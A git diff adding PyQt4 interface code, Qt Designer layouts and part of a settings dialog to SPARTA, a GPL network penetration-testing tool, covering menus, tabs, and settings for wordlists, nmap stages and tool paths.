self.PythonTab.setObjectName(_fromUtf8("PythonTab")) +# self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + + def setupMenuBar(self, MainWindow): + self.menubar = QtGui.QMenuBar(MainWindow) + self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) + self.menubar.setObjectName(_fromUtf8("menubar")) + self.menuFile = QtGui.QMenu(self.menubar) + self.menuFile.setObjectName(_fromUtf8("menuFile")) +# self.menuEdit = QtGui.QMenu(self.menubar) +# self.menuEdit.setObjectName(_fromUtf8("menuEdit")) + self.menuSettings = QtGui.QMenu(self.menubar) + self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + self.menuHelp = QtGui.QMenu(self.menubar) + self.menuHelp.setObjectName(_fromUtf8("menuHelp")) + MainWindow.setMenuBar(self.menubar) + self.statusbar = QtGui.QStatusBar(MainWindow) + self.statusbar.setObjectName(_fromUtf8("statusbar")) + MainWindow.setStatusBar(self.statusbar) + self.actionExit = QtGui.QAction(MainWindow) + self.actionExit.setObjectName(_fromUtf8("actionExit")) + self.actionOpen = QtGui.QAction(MainWindow) + self.actionOpen.setObjectName(_fromUtf8("actionOpen")) + self.actionSave = QtGui.QAction(MainWindow) + self.actionSave.setObjectName(_fromUtf8("actionSave")) + self.actionImportNmap = QtGui.QAction(MainWindow) + self.actionImportNmap.setObjectName(_fromUtf8("actionImportNmap")) + self.actionSaveAs = QtGui.QAction(MainWindow) + self.actionSaveAs.setObjectName(_fromUtf8("actionSaveAs")) + self.actionNew = QtGui.QAction(MainWindow) + self.actionNew.setObjectName(_fromUtf8("actionNew")) + self.actionAddHosts = QtGui.QAction(MainWindow) + self.actionAddHosts.setObjectName(_fromUtf8("actionAddHosts")) + self.menuFile.addAction(self.actionNew) + self.menuFile.addAction(self.actionOpen) + self.menuFile.addAction(self.actionSave) + self.menuFile.addAction(self.actionSaveAs) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionAddHosts) + self.menuFile.addAction(self.actionImportNmap) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionExit) + self.menubar.addAction(self.menuFile.menuAction()) +# self.menubar.addAction(self.menuEdit.menuAction()) +# self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) + self.actionSettings = QtGui.QAction(MainWindow) + self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) + self.menuSettings.addAction(self.actionSettings) + + self.actionHelp = QtGui.QAction(MainWindow) + self.actionHelp.setObjectName(_fromUtf8("getHelp")) + self.menuHelp.addAction(self.actionHelp) + self.menubar.addAction(self.menuHelp.menuAction()) + + def setDefaultIndexes(self): + self.MainTabWidget.setCurrentIndex(1) + self.HostsTabWidget.setCurrentIndex(1) + self.ServicesTabWidget.setCurrentIndex(1) + self.BruteTabWidget.setCurrentIndex(1) + self.BottomTabWidget.setCurrentIndex(0) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtGui.QApplication.translate("MainWindow", "Tools", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtGui.QApplication.translate("MainWindow", "Scripts", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) +# self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScreenshotsTab), QtGui.QApplication.translate("MainWindow", "Screenshots", None, QtGui.QApplication.UnicodeUTF8)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Tab 1", None, QtGui.QApplication.UnicodeUTF8)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Tab 2", None, QtGui.QApplication.UnicodeUTF8)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) + self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) +# self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) +# self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) + self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setText(QtGui.QApplication.translate("MainWindow", "Save", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setToolTip(QtGui.QApplication.translate("MainWindow", "Save the current project", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+S", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setText(QtGui.QApplication.translate("MainWindow", "Import nmap", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setToolTip(QtGui.QApplication.translate("MainWindow", "Import an nmap xml file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+I", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSaveAs.setText(QtGui.QApplication.translate("MainWindow", "Save As", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) + self.actionAddHosts.setText(QtGui.QApplication.translate("MainWindow", "Add host(s) to scope", None, QtGui.QApplication.UnicodeUTF8)) + self.actionAddHosts.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+H", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSettings.setText(QtGui.QApplication.translate("MainWindow", "Preferences", None, QtGui.QApplication.UnicodeUTF8)) + self.actionHelp.setText(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionHelp.setShortcut(QtGui.QApplication.translate("MainWindow", "F1", None, QtGui.QApplication.UnicodeUTF8)) + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + MainWindow.show() + sys.exit(app.exec_()) + diff --git a/ui/gui.ui b/ui/gui.ui new file mode 100644 index 00000000..d2e7aacd --- /dev/null +++ b/ui/gui.ui @@ -0,0 +1,304 @@ + + + MainWindow + + + + 0 + 0 + 1010 + 754 + + + + Sparta v0.0001 + + + + + + + Qt::Vertical + + + + 1 + + + + Scan + + + + + + Qt::Horizontal + + + + + 0 + 0 + + + + 1 + + + + Hosts + + + + + + + + + + Services + + + + + + + + + + + true + + + + 1 + 0 + + + + 1 + + + + Services + + + + + + + + + + Page + + + + + + + + + + Information + + + + + + + + + + Notes + + + + + + + + + + Page + + + + + + + + + + Brute + + + + + + 1 + + + + Tab 1 + + + + + + Tab 2 + + + + + + + + + + + 0 + 0 + + + + + 0 + 0 + + + + 0 + + + + Log + + + + + + + + + + Terminal + + + + + Python + + + + + + + + + + + 0 + 0 + 1010 + 25 + + + + + File + + + + + + + + + + + + + + Edit + + + + + Settings + + + + + Help + + + + + + + + + + + Exit + + + Exit the application + + + Ctrl+Q + + + + + Open + + + Open an existing project file + + + Ctrl+O + + + + + Save + + + Save the current project + + + Ctrl+S + + + + + Import nmap + + + Import an nmap xml file + + + + + Save As + + + + + New + + + Ctrl+N + + + + + Add host(s) to scope + + + + + + diff --git a/ui/nosplitters/gui.py b/ui/nosplitters/gui.py new file mode 100644 index 00000000..ae05c440 --- /dev/null +++ b/ui/nosplitters/gui.py @@ -0,0 +1,144 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file 'gui.ui' +# +# Created: Wed Jul 17 17:23:20 2013 +# by: PyQt4 UI code generator 4.9.1 +# +# WARNING! All changes made in this file will be lost! + +from PyQt4 import QtCore, QtGui + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(1010, 754) + self.centralwidget = QtGui.QWidget(MainWindow) + self.centralwidget.setObjectName(_fromUtf8("centralwidget")) + self.tabWidget = QtGui.QTabWidget(self.centralwidget) + self.tabWidget.setGeometry(QtCore.QRect(10, 0, 971, 531)) + self.tabWidget.setObjectName(_fromUtf8("tabWidget")) + self.tab = QtGui.QWidget() + self.tab.setObjectName(_fromUtf8("tab")) + self.tabWidget_3 = QtGui.QTabWidget(self.tab) + self.tabWidget_3.setGeometry(QtCore.QRect(300, 0, 661, 491)) + self.tabWidget_3.setObjectName(_fromUtf8("tabWidget_3")) + self.tab_5 = QtGui.QWidget() + self.tab_5.setObjectName(_fromUtf8("tab_5")) + self.ServicesTableView = QtGui.QTableView(self.tab_5) + self.ServicesTableView.setGeometry(QtCore.QRect(0, 0, 661, 461)) + self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.tabWidget_3.addTab(self.tab_5, _fromUtf8("")) + self.tab_6 = QtGui.QWidget() + self.tab_6.setObjectName(_fromUtf8("tab_6")) + self.tabWidget_3.addTab(self.tab_6, _fromUtf8("")) + self.tab_7 = QtGui.QWidget() + self.tab_7.setObjectName(_fromUtf8("tab_7")) + self.tabWidget_3.addTab(self.tab_7, _fromUtf8("")) + self.tabWidget_2 = QtGui.QTabWidget(self.tab) + self.tabWidget_2.setGeometry(QtCore.QRect(0, 0, 301, 491)) + self.tabWidget_2.setObjectName(_fromUtf8("tabWidget_2")) + self.tab_3 = QtGui.QWidget() + self.tab_3.setObjectName(_fromUtf8("tab_3")) + self.HostsTableView = QtGui.QTableView(self.tab_3) + self.HostsTableView.setGeometry(QtCore.QRect(0, 0, 301, 461)) + self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) + self.tabWidget_2.addTab(self.tab_3, _fromUtf8("")) + self.tab_4 = QtGui.QWidget() + self.tab_4.setObjectName(_fromUtf8("tab_4")) + self.tabWidget_2.addTab(self.tab_4, _fromUtf8("")) + self.tabWidget.addTab(self.tab, _fromUtf8("")) + self.tab_2 = QtGui.QWidget() + self.tab_2.setObjectName(_fromUtf8("tab_2")) + self.tabWidget.addTab(self.tab_2, _fromUtf8("")) + self.tabWidget_4 = QtGui.QTabWidget(self.centralwidget) + self.tabWidget_4.setGeometry(QtCore.QRect(10, 560, 791, 91)) + self.tabWidget_4.setObjectName(_fromUtf8("tabWidget_4")) + self.tab_8 = QtGui.QWidget() + self.tab_8.setObjectName(_fromUtf8("tab_8")) + self.tabWidget_4.addTab(self.tab_8, _fromUtf8("")) + self.tab_9 = QtGui.QWidget() + self.tab_9.setObjectName(_fromUtf8("tab_9")) + self.tabWidget_4.addTab(self.tab_9, _fromUtf8("")) + self.tab_10 = QtGui.QWidget() + self.tab_10.setObjectName(_fromUtf8("tab_10")) + self.tabWidget_4.addTab(self.tab_10, _fromUtf8("")) + MainWindow.setCentralWidget(self.centralwidget) + self.menubar = QtGui.QMenuBar(MainWindow) + self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) + self.menubar.setObjectName(_fromUtf8("menubar")) + self.menuFile = QtGui.QMenu(self.menubar) + self.menuFile.setObjectName(_fromUtf8("menuFile")) + self.menuEdit = QtGui.QMenu(self.menubar) + self.menuEdit.setObjectName(_fromUtf8("menuEdit")) + self.menuSettings = QtGui.QMenu(self.menubar) + self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + self.menuHelp = QtGui.QMenu(self.menubar) + self.menuHelp.setObjectName(_fromUtf8("menuHelp")) + MainWindow.setMenuBar(self.menubar) + self.statusbar = QtGui.QStatusBar(MainWindow) + self.statusbar.setObjectName(_fromUtf8("statusbar")) + MainWindow.setStatusBar(self.statusbar) + self.actionNew_Project = QtGui.QAction(MainWindow) + self.actionNew_Project.setObjectName(_fromUtf8("actionNew_Project")) + self.actionExit = QtGui.QAction(MainWindow) + self.actionExit.setObjectName(_fromUtf8("actionExit")) + self.actionOpen = QtGui.QAction(MainWindow) + self.actionOpen.setObjectName(_fromUtf8("actionOpen")) + self.menuFile.addAction(self.actionNew_Project) + self.menuFile.addAction(self.actionOpen) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionExit) + self.menubar.addAction(self.menuFile.menuAction()) + self.menubar.addAction(self.menuEdit.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuHelp.menuAction()) + + self.retranslateUi(MainWindow) + self.tabWidget.setCurrentIndex(0) + self.tabWidget_3.setCurrentIndex(0) + self.tabWidget_2.setCurrentIndex(0) + self.tabWidget_4.setCurrentIndex(0) + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_5), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_6), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_7), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_3), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_4), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_8), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_9), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_10), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) + self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) + self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) + self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) + self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setToolTip(QtGui.QApplication.translate("MainWindow", "Create a new project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew_Project.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) + + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + MainWindow.show() + sys.exit(app.exec_()) + diff --git a/ui/nosplitters/gui.ui b/ui/nosplitters/gui.ui new file mode 100644 index 00000000..e674f71c --- /dev/null +++ b/ui/nosplitters/gui.ui @@ -0,0 +1,215 @@ + + + MainWindow + + + + 0 + 0 + 1010 + 754 + + + + Sparta v0.0001 + + + + + + 10 + 0 + 971 + 531 + + + + 0 + + + + Scan + + + + + 300 + 0 + 661 + 491 + + + + 0 + + + + Services + + + + + 0 + 0 + 661 + 461 + + + + + + + Information + + + + + Notes + + + + + + + 0 + 0 + 301 + 491 + + + + 0 + + + + Hosts + + + + + 0 + 0 + 301 + 461 + + + + + + + Services + + + + + + + Brute + + + + + + + 10 + 560 + 791 + 91 + + + + 0 + + + + Log + + + + + Terminal + + + + + Python + + + + + + + + 0 + 0 + 1010 + 25 + + + + + File + + + + + + + + + Edit + + + + + Settings + + + + + Help + + + + + + + + + + + New + + + Create a new project file + + + Ctrl+N + + + + + Exit + + + Exit the application + + + Ctrl+Q + + + + + Open + + + Open an existing project file + + + Ctrl+O + + + + + + diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py new file mode 100644 index 00000000..7505d834 --- /dev/null +++ b/ui/settingsdialogs.py @@ -0,0 +1,1541 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt4.QtGui import * # for filters dialog +from app.auxiliary import * # for timestamps + +class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs + def eventFilter(self, widget, event): + if event.type() == QtCore.QEvent.FocusOut: # this horrible line is to avoid making the 'AddSettingsDialog' class visible from here + widget.parent().parent().parent().parent().parent().parent().validateToolName() + return False + else: + return False # TODO: check this + +# Borrowed this class from https://gist.github.com/LegoStormtroopr/5075267 +# Credit and thanks to LegoStormtoopr (http://www.twitter.com/legostormtroopr) +class SettingsTabBarWidget(QtGui.QTabBar): + def __init__(self, parent=None, *args, **kwargs): + self.tabSize = QtCore.QSize(kwargs.pop('width',100), kwargs.pop('height',25)) + QtGui.QTabBar.__init__(self, parent, *args, **kwargs) + + def paintEvent(self, event): + painter = QtGui.QStylePainter(self) + option = QtGui.QStyleOptionTab() + + for index in range(self.count()): + self.initStyleOption(option, index) + tabRect = self.tabRect(index) + tabRect.moveLeft(10) + painter.drawControl(QtGui.QStyle.CE_TabBarTabShape, option) + painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)); + painter.end() + + def tabSizeHint(self,index): + return self.tabSize + +class AddSettingsDialog(QtGui.QDialog): # dialog shown when the user selects settings menu + def __init__(self, parent=None): + QtGui.QDialog.__init__(self, parent) + + self.setupLayout() + self.setupConnections() + + self.validationPassed = True # TODO: rethink + self.previousTab = self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex()) + + self.validate = Validate() + self.hostActionNameText.installEventFilter(self.validate) + self.portActionNameText.installEventFilter(self.validate) + self.terminalActionNameText.installEventFilter(self.validate) + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + # TODO: maybe these shouldn't be hardcoded because the user can change them... rethink this? + self.defaultServicesList = ["mysql-default","mssql-default","ftp-default","postgres-default","oracle-default"] + + def setupConnections(self): + self.browseUsersListButton.clicked.connect(lambda: self.wordlistDialog()) + self.browsePasswordsListButton.clicked.connect(lambda: self.wordlistDialog('Choose password path')) + + self.addToolForHostButton.clicked.connect(self.addToolForHost) + self.removeToolForHostButton.clicked.connect(self.removeToolForHost) + self.addToolButton.clicked.connect(self.addToolForService) + self.removeToolButton.clicked.connect(self.removeToolForService) + self.addToolForTerminalButton.clicked.connect(self.addToolForTerminal) + self.removeToolForTerminalButton.clicked.connect(self.removeToolForTerminal) + + self.addServicesButton.clicked.connect(lambda: self.moveService(self.servicesAllTableWidget, self.servicesActiveTableWidget)) + self.removeServicesButton.clicked.connect(lambda: self.moveService(self.servicesActiveTableWidget, self.servicesAllTableWidget)) + self.addTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesAllTable, self.terminalServicesActiveTable)) + self.removeTerminalServiceButton.clicked.connect(lambda: self.moveService(self.terminalServicesActiveTable, self.terminalServicesAllTable)) + + self.toolForHostsTableWidget.clicked.connect(self.updateToolForHostInformation) + self.toolForServiceTableWidget.clicked.connect(self.updateToolForServiceInformation) + self.toolForTerminalTableWidget.clicked.connect(self.updateToolForTerminalInformation) + + self.hostActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForHostsTableWidget, self.hostActionNameText.text())) + self.portActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForServiceTableWidget, self.portActionNameText.text())) + self.terminalActionNameText.textChanged.connect(lambda: self.realTimeToolNameUpdate(self.toolForTerminalTableWidget, self.terminalActionNameText.text())) + + self.enableAutoAttacks.clicked.connect(lambda: self.enableAutoToolsTab()) + self.checkDefaultCred.clicked.connect(self.toggleDefaultServices) + + self.settingsTabWidget.currentChanged.connect(self.switchTabClick) + self.ToolSettingsTab.currentChanged.connect(self.switchToolTabClick) + + ##################### ACTION FUNCTIONS (apply / cancel related) ##################### + + def setSettings(self, settings): # called by the controller once the config file has been read at start time and also when the cancel button is pressed to forget any changes. + self.settings = settings + self.resetGui() # clear any changes the user may have made and canceled. + self.populateSettings() # populate the GUI with the new settings + + self.hostActionsNumber = 1 # TODO: this is most likely not the best way to do it. we should check if New_Action_1 exists and if so increase the number until it doesn't exist. no need for a self.variable - can be a local one. + self.portActionsNumber = 1 + self.terminalActionsNumber = 1 + + def applySettings(self): # called when apply button is pressed + if self.validateCurrentTab(self.settingsTabWidget.tabText(self.settingsTabWidget.currentIndex())): + self.updateSettings() + return True + return False + + def updateSettings(self): # updates the local settings object (must be called when applying settings and only after validation succeeded) + # LEO: reorganised stuff in a more logical way but no changes were made yet :) + # update GENERAL tab settings + self.settings.general_default_terminal = str(self.terminalComboBox.currentText()) + self.settings.general_max_fast_processes = str(self.fastProcessesComboBox.currentText()) + self.settings.general_screenshooter_timeout = str(self.screenshotTextinput.text()) + self.settings.general_web_services = str(self.webServicesTextinput.text()) + + if self.checkStoreClearPW.isChecked(): + self.settings.brute_store_cleartext_passwords_on_exit = 'True' + else: + self.settings.brute_store_cleartext_passwords_on_exit = 'False' + + if self.checkBlackBG.isChecked(): + self.settings.general_tool_output_black_background = 'True' + else: + self.settings.general_tool_output_black_background = 'False' + + # update BRUTE tab settings + self.settings.brute_username_wordlist_path = str(self.userlistPath.text()) + self.settings.brute_password_wordlist_path = str(self.passwordlistPath.text()) + self.settings.brute_default_username = str(self.defaultUserText.text()) + self.settings.brute_default_password = str(self.defaultPassText.text()) + + # update TOOLS tab settings + self.settings.tools_nmap_stage1_ports = str(self.stage1Input.text()) + self.settings.tools_nmap_stage2_ports = str(self.stage2Input.text()) + self.settings.tools_nmap_stage3_ports = str(self.stage3Input.text()) + self.settings.tools_nmap_stage4_ports = str(self.stage4Input.text()) + self.settings.tools_nmap_stage5_ports = str(self.stage5Input.text()) + + # update AUTOMATED ATTACKS tab settings + if self.enableAutoAttacks.isChecked(): + self.settings.general_enable_scheduler = 'True' + else: + self.settings.general_enable_scheduler = 'False' + + # TODO: seems like all the other settings should be updated here as well instead of updating them in the validation function. + + #def initValues(self): # LEO: renamed and changed the previous tabs defaults otherwise validation doesn't work the first time + def resetGui(self): # called when the cancel button is clicked, to initialise everything + self.validationPassed = True + self.previousTab = 'General' + self.previousToolTab = 'Tool Paths' + self.hostTableRow = -1 + self.portTableRow = -1 + self.terminalTableRow = -1 + + self.hostActionNameText.setText('') + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + self.hostCommandText.setText('init value') + + self.portActionNameText.setText('') + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.portCommandText.setText('init value') + + self.terminalActionNameText.setText('') + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.terminalCommandText.setText('init value') + + # reset layouts + clearLayout(self.scrollVerLayout) + clearLayout(self.defaultBoxVerlayout) + self.terminalComboBox.clear() + + def populateSettings(self): # called by setSettings at start up or when showing the settings dialog after a cancel action. it populates the GUI with the controller's settings object. + self.populateGeneralTab() # LEO: split it in functions so that it's less confusing and easier to refactor later + self.populateBruteTab() + self.populateToolsTab() + self.populateAutomatedAttacksTab() + + def populateGeneralTab(self): + self.terminalsSupported = ['gnome-terminal','xterm'] + self.terminalComboBox.insertItems(0, self.terminalsSupported) + + self.fastProcessesComboBox.setCurrentIndex(int(self.settings.general_max_fast_processes) - 1) + self.screenshotTextinput.setText(str(self.settings.general_screenshooter_timeout)) + self.webServicesTextinput.setText(str(self.settings.general_web_services)) + + if self.settings.general_tool_output_black_background == 'True' and self.checkBlackBG.isChecked() == False: + self.checkBlackBG.toggle() + elif self.settings.general_tool_output_black_background == 'False' and self.checkBlackBG.isChecked() == True: + self.checkBlackBG.toggle() + + if self.settings.brute_store_cleartext_passwords_on_exit == 'True' and self.checkStoreClearPW.isChecked() == False: + self.checkStoreClearPW.toggle() + elif self.settings.brute_store_cleartext_passwords_on_exit == 'False' and self.checkStoreClearPW.isChecked() == True: + self.checkStoreClearPW.toggle() + + def populateBruteTab(self): + self.userlistPath.setText(self.settings.brute_username_wordlist_path) + self.passwordlistPath.setText(self.settings.brute_password_wordlist_path) + self.defaultUserText.setText(self.settings.brute_default_username) + self.defaultPassText.setText(self.settings.brute_default_password) + + def populateToolsTab(self): + # POPULATE TOOL PATHS TAB + self.nmapPathInput.setText(self.settings.tools_path_nmap) + self.hydraPathInput.setText(self.settings.tools_path_hydra) + self.cutycaptPathInput.setText(self.settings.tools_path_cutycapt) + self.textEditorPathInput.setText(self.settings.tools_path_texteditor) + + # POPULATE STAGED NMAP TAB + self.stage1Input.setText(self.settings.tools_nmap_stage1_ports) + self.stage2Input.setText(self.settings.tools_nmap_stage2_ports) + self.stage3Input.setText(self.settings.tools_nmap_stage3_ports) + self.stage4Input.setText(self.settings.tools_nmap_stage4_ports) + self.stage5Input.setText(self.settings.tools_nmap_stage5_ports) + + # POPULATE TOOLS TABS (HOST/PORT/TERMINAL) + self.toolForHostsTableWidget.setRowCount(len(self.settings.hostActions)) 